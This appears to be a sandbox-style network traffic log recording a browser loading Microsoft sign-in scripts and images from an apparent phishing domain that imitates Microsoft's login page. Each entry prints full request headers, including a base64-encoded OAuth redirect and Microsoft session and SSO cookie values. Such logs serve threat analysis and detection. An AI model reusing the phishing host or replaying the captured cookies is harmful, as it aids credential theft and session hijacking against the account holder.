esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8ty0v5DMjVd2_I3cESbvAXzAChW4-s5vW-ynxIqujloA-wDIupKgxp3BZamYAQD4EigknT1i75m8IJ1H7b5q9NavOS-4r8xIFiqVWT_36chWu_AJNyVX9xXBZ3HvzdRRUzcoMgNUbfivAsO1BgTG07VYiBshnzmSet5Du-xqgZ5IgAA; esctx-mHRmohW2y4E=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8vT8b7tFC6DxSRJ5zbR3GMtP2zQGx9ZjMIhAjqWvrRH1gC9XNzQRHXkHwW76Wo9jv2xRkWmBKCTWq2VAhHKCBmNJy2oXms-wns56TPXYUI6fANss6_PNOhDlOOCYYeG0dht26-KjETBtSveP7qykzrSAA; fpc=Ag3Kly0IoDdBkfMWaLarS2aerOTJAQAAACmFvd0OAAAA
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/js/ConvergedLogin_PCore_jHSrlUosdD1xxbmcR_lMNA2.js HTTP/1.1Host: r6duftx9uh6.scrdata-doc.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://r6duftx9uh6.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9NDdmOThkZTktYTQyMS02ODlhLTczZjAtZGQyNGViMTUxMzQxJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzI3MjY4MjI1NzEzNC5hMzYxOTAyMS0xNWZjLTRiOTktOWY0ZS04YWJmMmQzMTM1YTImc3RhdGU9RGNzN0ZvQWdEQUJCME9keEl1UURJY2NKS3EybDF6ZkZiTGM1cGJTSExlUWFTZHA1aUNrcDlVSFVGRmxPNTQ1V0NRSGJ1a0NtR2RpU0I0YlBSVGNqTjZjYzcxSGV6OHNQ&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; OIDC=1; OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; X-OWA-RedirectHistory=ArLym14B7hpI-OJl3Ag; esctx-GwyRz7LSa6M=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd86j77PIMFOB6g9hYdh82rwJMsmHDcoI3LRYEPxY25z-Tqu9abNNpfAXaaQTNTAbGTlIXADbESNthkcQwqlDxKDRTgtkPhr1wfYDLBiW7Yz_RdCfucfYs8T-CRalNSnmi1ucS1ngVZ4L-cxvWU5sy6ciAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AToAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8zVq_c4QVv77LXu0sBzN5JoSWEmnPlEaTpKJHx-TIOCfHAFIm7A4qbYEDXjnwNt5X0w5nxTNmx2-70iJHZ6K6mPbcNpF-FvfODcs5amkEDr0gAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8ty0v5DMjVd2_I3cESbvAXzAChW4-s5vW-ynxIqujloA-wDIupKgxp3BZamYAQD4EigknT1i75m8IJ1H7b5q9NavOS-4r8xIFiqVWT_36chWu_AJNyVX9xXBZ3HvzdRRUzcoMgNUbfivAsO1BgTG07VYiBshnzmSet5Du-xqgZ5IgAA; esctx-mHRmohW2y4E=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8vT8b7tFC6DxSRJ5zbR3GMtP2zQGx9ZjMIhAjqWvrRH1gC9XNzQRHXkHwW76Wo9jv2xRkWmBKCTWq2VAhHKCBmNJy2oXms-wns56TPXYUI6fANss6_PNOhDlOOCYYeG0dht26-KjETBtSveP7qykzrSAA; fpc=Ag3Kly0IoDdBkfMWaLarS2aerOTJAQAAACmFvd0OAAAA
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_l2bvdjfwt697xziuhxpwsg2.js HTTP/1.1Host: r6duftx9uh6.scrdata-doc.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://r6duftx9uh6.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9NDdmOThkZTktYTQyMS02ODlhLTczZjAtZGQyNGViMTUxMzQxJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzI3MjY4MjI1NzEzNC5hMzYxOTAyMS0xNWZjLTRiOTktOWY0ZS04YWJmMmQzMTM1YTImc3RhdGU9RGNzN0ZvQWdEQUJCME9keEl1UURJY2NKS3EybDF6ZkZiTGM1cGJTSExlUWFTZHA1aUNrcDlVSFVGRmxPNTQ1V0NRSGJ1a0NtR2RpU0I0YlBSVGNqTjZjYzcxSGV6OHNQ&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; OIDC=1; OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; X-OWA-RedirectHistory=ArLym14B7hpI-OJl3Ag; esctx-GwyRz7LSa6M=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd86j77PIMFOB6g9hYdh82rwJMsmHDcoI3LRYEPxY25z-Tqu9abNNpfAXaaQTNTAbGTlIXADbESNthkcQwqlDxKDRTgtkPhr1wfYDLBiW7Yz_RdCfucfYs8T-CRalNSnmi1ucS1ngVZ4L-cxvWU5sy6ciAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AToAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8zVq_c4QVv77LXu0sBzN5JoSWEmnPlEaTpKJHx-TIOCfHAFIm7A4qbYEDXjnwNt5X0w5nxTNmx2-70iJHZ6K6mPbcNpF-FvfODcs5amkEDr0gAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8ty0v5DMjVd2_I3cESbvAXzAChW4-s5vW-ynxIqujloA-wDIupKgxp3BZamYAQD4EigknT1i75m8IJ1H7b5q9NavOS-4r8xIFiqVWT_36chWu_AJNyVX9xXBZ3HvzdRRUzcoMgNUbfivAsO1BgTG07VYiBshnzmSet5Du-xqgZ5IgAA; esctx-mHRmohW2y4E=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8vT8b7tFC6DxSRJ5zbR3GMtP2zQGx9ZjMIhAjqWvrRH1gC9XNzQRHXkHwW76Wo9jv2xRkWmBKCTWq2VAhHKCBmNJy2oXms-wns56TPXYUI6fANss6_PNOhDlOOCYYeG0dht26-KjETBtSveP7qykzrSAA; fpc=Ag3Kly0IoDdBkfMWaLarS2aerOTJAQAAACmFvd0OAAAA
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_80e93b9a4cb13643afca.js HTTP/1.1Host: r6duftx9uh6.scrdata-doc.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://r6duftx9uh6.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9NDdmOThkZTktYTQyMS02ODlhLTczZjAtZGQyNGViMTUxMzQxJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzI3MjY4MjI1NzEzNC5hMzYxOTAyMS0xNWZjLTRiOTktOWY0ZS04YWJmMmQzMTM1YTImc3RhdGU9RGNzN0ZvQWdEQUJCME9keEl1UURJY2NKS3EybDF6ZkZiTGM1cGJTSExlUWFTZHA1aUNrcDlVSFVGRmxPNTQ1V0NRSGJ1a0NtR2RpU0I0YlBSVGNqTjZjYzcxSGV6OHNQ&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; OIDC=1; OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; X-OWA-RedirectHistory=ArLym14B7hpI-OJl3Ag; esctx-GwyRz7LSa6M=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd86j77PIMFOB6g9hYdh82rwJMsmHDcoI3LRYEPxY25z-Tqu9abNNpfAXaaQTNTAbGTlIXADbESNthkcQwqlDxKDRTgtkPhr1wfYDLBiW7Yz_RdCfucfYs8T-CRalNSnmi1ucS1ngVZ4L-cxvWU5sy6ciAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AToAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8zVq_c4QVv77LXu0sBzN5JoSWEmnPlEaTpKJHx-TIOCfHAFIm7A4qbYEDXjnwNt5X0w5nxTNmx2-70iJHZ6K6mPbcNpF-FvfODcs5amkEDr0gAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8ty0v5DMjVd2_I3cESbvAXzAChW4-s5vW-ynxIqujloA-wDIupKgxp3BZamYAQD4EigknT1i75m8IJ1H7b5q9NavOS-4r8xIFiqVWT_36chWu_AJNyVX9xXBZ3HvzdRRUzcoMgNUbfivAsO1BgTG07VYiBshnzmSet5Du-xqgZ5IgAA; esctx-mHRmohW2y4E=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8vT8b7tFC6DxSRJ5zbR3GMtP2zQGx9ZjMIhAjqWvrRH1gC9XNzQRHXkHwW76Wo9jv2xRkWmBKCTWq2VAhHKCBmNJy2oXms-wns56TPXYUI6fANss6_PNOhDlOOCYYeG0dht26-KjETBtSveP7qykzrSAA; fpc=Ag3Kly0IoDdBkfMWaLarS2aerOTJAQAAACmFvd0OAAAA
Source: global traffic	HTTP traffic detected: GET /owa/prefetch.aspx HTTP/1.1Host: outlook.office365.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://r6duftx9uh6.scrdata-doc.cfd/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg HTTP/1.1Host: r6duftx9uh6.scrdata-doc.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://r6duftx9uh6.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9NDdmOThkZTktYTQyMS02ODlhLTczZjAtZGQyNGViMTUxMzQxJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzI3MjY4MjI1NzEzNC5hMzYxOTAyMS0xNWZjLTRiOTktOWY0ZS04YWJmMmQzMTM1YTImc3RhdGU9RGNzN0ZvQWdEQUJCME9keEl1UURJY2NKS3EybDF6ZkZiTGM1cGJTSExlUWFTZHA1aUNrcDlVSFVGRmxPNTQ1V0NRSGJ1a0NtR2RpU0I0YlBSVGNqTjZjYzcxSGV6OHNQ&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; OIDC=1; OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; X-OWA-RedirectHistory=ArLym14B7hpI-OJl3Ag; esctx-GwyRz7LSa6M=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd86j77PIMFOB6g9hYdh82rwJMsmHDcoI3LRYEPxY25z-Tqu9abNNpfAXaaQTNTAbGTlIXADbESNthkcQwqlDxKDRTgtkPhr1wfYDLBiW7Yz_RdCfucfYs8T-CRalNSnmi1ucS1ngVZ4L-cxvWU5sy6ciAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AToAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8zVq_c4QVv77LXu0sBzN5JoSWEmnPlEaTpKJHx-TIOCfHAFIm7A4qbYEDXjnwNt5X0w5nxTNmx2-70iJHZ6K6mPbcNpF-FvfODcs5amkEDr0gAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8ty0v5DMjVd2_I3cESbvAXzAChW4-s5vW-ynxIqujloA-wDIupKgxp3BZamYAQD4EigknT1i75m8IJ1H7b5q9NavOS-4r8xIFiqVWT_36chWu_AJNyVX9xXBZ3HvzdRRUzcoMgNUbfivAsO1BgTG07VYiBshnzmSet5Du-xqgZ5IgAA; esctx-mHRmohW2y4E=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8vT8b7tFC6DxSRJ5zbR3GMtP2zQGx9ZjMIhAjqWvrRH1gC9XNzQRHXkHwW76Wo9jv2xRkWmBKCTWq2VAhHKCBmNJy2oXms-wns56TPXYUI6fANss6_PNOhDlOOCYYeG0dht26-KjETBtSveP7qykzrSAA; fpc=Ag3Kly0IoDdBkfMWaLarS2aerOTJAQAAACmFvd0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg HTTP/1.1Host: r6duftx9uh6.scrdata-doc.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://r6duftx9uh6.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9NDdmOThkZTktYTQyMS02ODlhLTczZjAtZGQyNGViMTUxMzQxJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzI3MjY4MjI1NzEzNC5hMzYxOTAyMS0xNWZjLTRiOTktOWY0ZS04YWJmMmQzMTM1YTImc3RhdGU9RGNzN0ZvQWdEQUJCME9keEl1UURJY2NKS3EybDF6ZkZiTGM1cGJTSExlUWFTZHA1aUNrcDlVSFVGRmxPNTQ1V0NRSGJ1a0NtR2RpU0I0YlBSVGNqTjZjYzcxSGV6OHNQ&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; OIDC=1; OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; X-OWA-RedirectHistory=ArLym14B7hpI-OJl3Ag; esctx-GwyRz7LSa6M=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd86j77PIMFOB6g9hYdh82rwJMsmHDcoI3LRYEPxY25z-Tqu9abNNpfAXaaQTNTAbGTlIXADbESNthkcQwqlDxKDRTgtkPhr1wfYDLBiW7Yz_RdCfucfYs8T-CRalNSnmi1ucS1ngVZ4L-cxvWU5sy6ciAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AToAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8zVq_c4QVv77LXu0sBzN5JoSWEmnPlEaTpKJHx-TIOCfHAFIm7A4qbYEDXjnwNt5X0w5nxTNmx2-70iJHZ6K6mPbcNpF-FvfODcs5amkEDr0gAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8ty0v5DMjVd2_I3cESbvAXzAChW4-s5vW-ynxIqujloA-wDIupKgxp3BZamYAQD4EigknT1i75m8IJ1H7b5q9NavOS-4r8xIFiqVWT_36chWu_AJNyVX9xXBZ3HvzdRRUzcoMgNUbfivAsO1BgTG07VYiBshnzmSet5Du-xqgZ5IgAA; esctx-mHRmohW2y4E=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8vT8b7tFC6DxSRJ5zbR3GMtP2zQGx9ZjMIhAjqWvrRH1gC9XNzQRHXkHwW76Wo9jv2xRkWmBKCTWq2VAhHKCBmNJy2oXms-wns56TPXYUI6fANss6_PNOhDlOOCYYeG0dht26-KjETBtSveP7qykzrSAA; fpc=Ag3Kly0IoDdBkfMWaLarS2aerOTJAQAAACmFvd0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/applogos/53_8b36337037cff88c3df203bb73d58e41.png HTTP/1.1Host: r6duftx9uh6.scrdata-doc.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://r6duftx9uh6.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9NDdmOThkZTktYTQyMS02ODlhLTczZjAtZGQyNGViMTUxMzQxJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzI3MjY4MjI1NzEzNC5hMzYxOTAyMS0xNWZjLTRiOTktOWY0ZS04YWJmMmQzMTM1YTImc3RhdGU9RGNzN0ZvQWdEQUJCME9keEl1UURJY2NKS3EybDF6ZkZiTGM1cGJTSExlUWFTZHA1aUNrcDlVSFVGRmxPNTQ1V0NRSGJ1a0NtR2RpU0I0YlBSVGNqTjZjYzcxSGV6OHNQ&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; OIDC=1; OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; X-OWA-RedirectHistory=ArLym14B7hpI-OJl3Ag; esctx-GwyRz7LSa6M=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd86j77PIMFOB6g9hYdh82rwJMsmHDcoI3LRYEPxY25z-Tqu9abNNpfAXaaQTNTAbGTlIXADbESNthkcQwqlDxKDRTgtkPhr1wfYDLBiW7Yz_RdCfucfYs8T-CRalNSnmi1ucS1ngVZ4L-cxvWU5sy6ciAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AToAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8zVq_c4QVv77LXu0sBzN5JoSWEmnPlEaTpKJHx-TIOCfHAFIm7A4qbYEDXjnwNt5X0w5nxTNmx2-70iJHZ6K6mPbcNpF-FvfODcs5amkEDr0gAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8ty0v5DMjVd2_I3cESbvAXzAChW4-s5vW-ynxIqujloA-wDIupKgxp3BZamYAQD4EigknT1i75m8IJ1H7b5q9NavOS-4r8xIFiqVWT_36chWu_AJNyVX9xXBZ3HvzdRRUzcoMgNUbfivAsO1BgTG07VYiBshnzmSet5Du-xqgZ5IgAA; esctx-mHRmohW2y4E=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8vT8b7tFC6DxSRJ5zbR3GMtP2zQGx9ZjMIhAjqWvrRH1gC9XNzQRHXkHwW76Wo9jv2xRkWmBKCTWq2VAhHKCBmNJy2oXms-wns56TPXYUI6fANss6_PNOhDlOOCYYeG0dht26-KjETBtSveP7qykzrSAA; fpc=Ag3Kly0IoDdBkfMWaLarS2aerOTJAQAAACmFvd0OAAAA; brcap=0
